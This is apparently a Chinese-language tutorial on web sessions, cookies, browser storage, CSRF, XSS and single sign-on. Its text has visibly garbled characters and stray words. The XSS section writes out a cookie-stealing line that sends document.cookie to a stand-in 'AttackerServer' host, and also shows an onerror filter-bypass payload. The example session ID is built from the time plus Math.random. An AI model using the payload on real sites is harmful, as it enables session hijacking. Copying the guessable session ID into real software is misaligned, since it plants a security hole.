github
地址:戳這裏javascript
Session
是以文本文件形式存儲在服務器端的,因此不怕客戶端修改 Session 內容。(也能夠用其餘存儲方式好比redis
)Session
對象是有生命週期的Session
實例是輕量級的,所謂輕量級:是指他的建立和刪除不須要消耗太多資源Session
對象內部有一個緩存Session
對象存儲特定用戶會話所需的屬性及配置信息,在web
頁跳轉時,信息將不會丟失php
session
須要的內存量越大Session
對象的持續時間是用戶訪問的時間加上不活動的時間。session
HTTP協議自己是無狀態的css
舉個喝咖啡的例子:html
一、該店的店員很厲害,能記住每位顧客的消費數量,只要顧客一走進咖啡店,店員就知道該怎麼對待了。這種作法就是協議自己支持狀態。 java
二、發給顧客一張卡片,上面記錄着消費的數量,通常還有個有效期限。每次消費時,若是顧客出示這張卡片,則這次消費就會與之前或之後的消費相聯繫起來。這種作法就是在客戶端保持狀態。 node
三、發給顧客一張會員卡,除了卡號以外什麼信息也不紀錄,每次消費時,若是顧客出示該卡片,則店員在店裏的紀錄本上找到這個卡號對應的紀錄添加一些消費信息。這種作法就是在服務器端保持狀態。git
session
的時候,服務器首先檢查這個客戶端的請求裏是否已包含了一個 session標識 - 稱爲session id
,若是已包含一個session id
則說明之前已經爲此客戶端建立過session,服務器就按照session id
把這個session
檢索出來使用(若是檢索不到,可能會新建一個),若是客戶端請求不包含session id
,則爲此客戶端建立一個session
而且生成一個與此session
相關聯的session id
,session id
的值應該是一個 既不會重複,又不容易被找到規律以仿造的字符串 ,這個session id
將被在本次響應中返回給客戶端保存。因爲cookie
能夠被人爲的禁止,必須有其餘機制以便在cookie
被禁止時仍然可以把session id
傳遞迴服務器。常常被使用的一種技術叫作URL
重寫github
兩種形式:web
// 做爲url附加路徑 'http://..../xxx;jsessionid=abcdefjijeoijoifjioe' // 做爲查詢字符串 'http://..../xxx?jsessionid=abcdefjijeoijoifjioe'
基於cookie來實現用戶和數據的映射redis
將口令放在cookie
中,口令一旦被褚昂愛,就丟失映射關係。一般session
的有效期一般短,過時就將數據刪除
一旦服務器檢查到用戶請求cookie
中沒有攜帶session_id
,它會爲之生成一個值,這個值是惟一且不重複的值,並設定超時時間。若是過時就從新生成,若是沒有過時,就更新超時時間
var sessions = {}; var key = 'session_id'; var EXPIRES = 20*60*1000; var generate = function () { var session = {}; session.id = (new Date().getTime()) + Math.random(); session.cookie = { expire: (new Date()).getTime() + EXPIRES } sessions[session.id] = session } function (req, res) { var id = req.cookies[key]; if (!id) { req.session = generate(); } else { var session = sessions[id]; if (session) { if (session.cookie.expire > new Date().getTime()) { session.cookie.expire = new Date().getTime() + EXPIRES; req.session = session; } else { delete sessions[id]; req.session = generate(); } } else { req.session = generate(); } } }
因爲關閉瀏覽器不會致使session
被刪除,迫使服務器爲seesion
設置了一個失效時間,當距離客戶端上一次使用session
的時間超過這個失效時間時,服務器就能夠認爲客戶端已經中止了活動,纔會把session
刪除以節省存儲空間
reference
http://justsee.iteye.com/blog...
https://baike.baidu.com/item/...
https://blog.csdn.net/hjc1984...
cookie
存儲在用戶本地終端的數據
http
請求自動發送,跨域除外
客戶端記錄用戶信息
存儲在硬盤上的cookie
能夠在不一樣的瀏覽器進程間共享,好比兩個IE
窗口。而對於保存在內存裏的cookie
,不一樣的瀏覽器有不一樣的處理方式。
name
:cookie
名稱value
:cookie
值domain
:能夠訪問cookie
的域名,某一級域名能夠訪問上一級級域名的cookieexpires/Max-Age
:過時時間Size
:cookie
的大小http
:httponly
屬性,爲true
,不能用document.cookie
得到secure
:爲true
只能在https
得到path
:子路徑訪問父路徑cookie
document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";
document.cookie
document.cookie =
採用覆蓋的形式
將過時時間設置爲過去時間便可
localStorage
和sessionStorage
的區別存儲大小
cookie
數據大小不能超過4k。sessionStorage
和localStorage
雖然也有存儲大小的限制,但比cookie
大得多,能夠達到5M或更大。有效時間
localStorage
存儲持久數據,瀏覽器關閉後數據不丟失除非主動刪除數據;sessionStorage
數據在當前瀏覽器窗口關閉後自動刪除。cookie
設置的cookie
過時時間以前一直有效,即便窗口或瀏覽器關閉sessionStorage
sessionStorage
共享localStorage
cookie
cookie
在同源且符合path
規則的文檔之間共享max-age
用秒來設置cookie
的生存期。max-age
爲0,則表示刪除該cookie
。max-age
爲負數,則表示該cookie
僅在本瀏覽器窗口以及本窗口打開的子窗口內有效,關閉窗口後該cookie即失效。cookie
有兩個http頭部是專門負責設置以及發送cookie
的,它們分別是 Set-Cookie
以及 Cookie
。當服務器返回給客戶端一個http響應信息時,其中若是包含Set-Cookie
這個頭部時,意思就是指示客戶端創建一個cookie
,而且在後續的http請求中自動發送這個cookie
到服務器端,直到這個cookie
過時。若是cookie
的生存時間是整個會話期間的話,那麼瀏覽器會將cookie
保存在內存中,瀏覽器關閉時就會自動清除這個cookie
。另一種狀況就是保存在客戶端的硬盤中,瀏覽器關閉的話,該cookie
也不會被清除,下次打開瀏覽器訪問對應網站時,這個cookie
就會自動再次發送到服務器端。
cookie
服務器端寫入//java的寫法 response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date); //php 中的寫法 setcookie(name,value,expire,path,domain,secure)
https://my.oschina.net/ososch...
https://blog.csdn.net/dong123...
cookie
a
未退出的狀況下,打開網站b
b
在收到用戶請求後返回攻擊性代碼,獲取網站a
的cookie
,併發出請求a網站(注意:這兒是兩步)a
誤覺得仍是用戶c發出的請求向被攻擊者的服務器頁面上注入一段javascript
代碼(藉助xss跨站腳本攻擊)
document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
http referer
字段系統開發者能夠在HTTP
請求中以參數的形式加入一個隨機產生的token
,並在服務器端創建一個攔截器來驗證這個token
,若是請求中沒有token
或者token
內容不正確,則認爲多是CSRF
攻擊而拒絕該請求。
HTTP
頭中自定義屬性並驗證(不會被泄露)reference
http://www.freebuf.com/articl...
那些瀏覽器每次都要在參數中提交惡意數據才能觸發的跨站腳本漏洞。
可讓一個域名轉向到惡意URL
,把那個域名發給用戶
指經過提交惡意數據到存儲器(好比數據庫、文本文件等),Web
應用程序輸出的時候是從存儲器中讀出惡意數據輸出到頁面的一類跨站腳本漏洞。
xss-filter
img
tab
來繞過過濾<img src=「#」 onerror= 「alert(1)」/>
background-url
xss-filter
,過濾標籤2. httpOnly
http://www.cnblogs.com/wqhwe/...
http
無狀態協議瀏覽器每次請求,服務器都單獨處理
要鑑別瀏覽器請求,又由於http是無狀態協議,因此須要服務器和瀏覽器共同維護一個狀態
瀏覽器第一次請求服務器,建立一個會話id,並由瀏覽器存儲,之後每次請求都帶上,服務器取得後可判斷是不是同一個用戶
單系統利用cookie
瀏覽器第一次請求服務器,須要驗證用戶名和密碼,經過與數據庫裏的做比較,驗證經過將會話標記爲「已受權」
之後每次請求都檢查登陸狀態
single sign on
,sso
)用戶登陸註銷一次,就能夠在多個系統中獲得效果
因爲多系統的域不同,全部cookie會受到限制,瀏覽器發送http
請求時會自動攜帶與該域匹配的cookie
,而不是全部cookie
若是將domain
設置爲頂級域名會有限制:
cookie
不安全相比於單系統登陸,sso
多了一個認證中心,只有認證中心接受用戶名和密碼等安全信息,其餘系統不提供登陸入口,只接受認證中心的間接受權。間接受權經過令牌實現,sso
認證中心驗證用戶的用戶名密碼沒問題,建立受權令牌,在接下來的跳轉過程當中,受權令牌做爲參數發送給各個子系統,子系統拿到令牌,即獲得了受權,能夠藉此建立局部會話,局部會話登陸方式與單系統的登陸方式相同。這個過程,也就是單點登陸的原理,用下圖說明
用戶登陸成功以後,會與sso認證中心及各個子系統創建會話,用戶與sso認證中心創建的會話稱爲全局會話,用戶與各個子系統創建的會話稱爲局部會話,局部會話創建以後,用戶訪問子系統受保護資源將再也不經過sso認證中心
假設認證中心和系統2的url分別是:sso.com、system2.com
,訪問 system2.com
時因未登陸而跳轉到 sso.com
,跳轉地址:http://sso.com?service=http://system2.com
(不須要額外信息),此時,就變成了瀏覽器與 http://sso.com
站點之間的會話,這個會話由於系統1登陸的緣由已經被標記爲已登陸,因此認證中心取一塊令牌,根據service參數回跳,並附上令牌,回跳地址:http://system2.com?token=token
不一樣域之間
同一域名不一樣站點
cookie
同一域,不一樣子域
sessionId
的域都是上一級的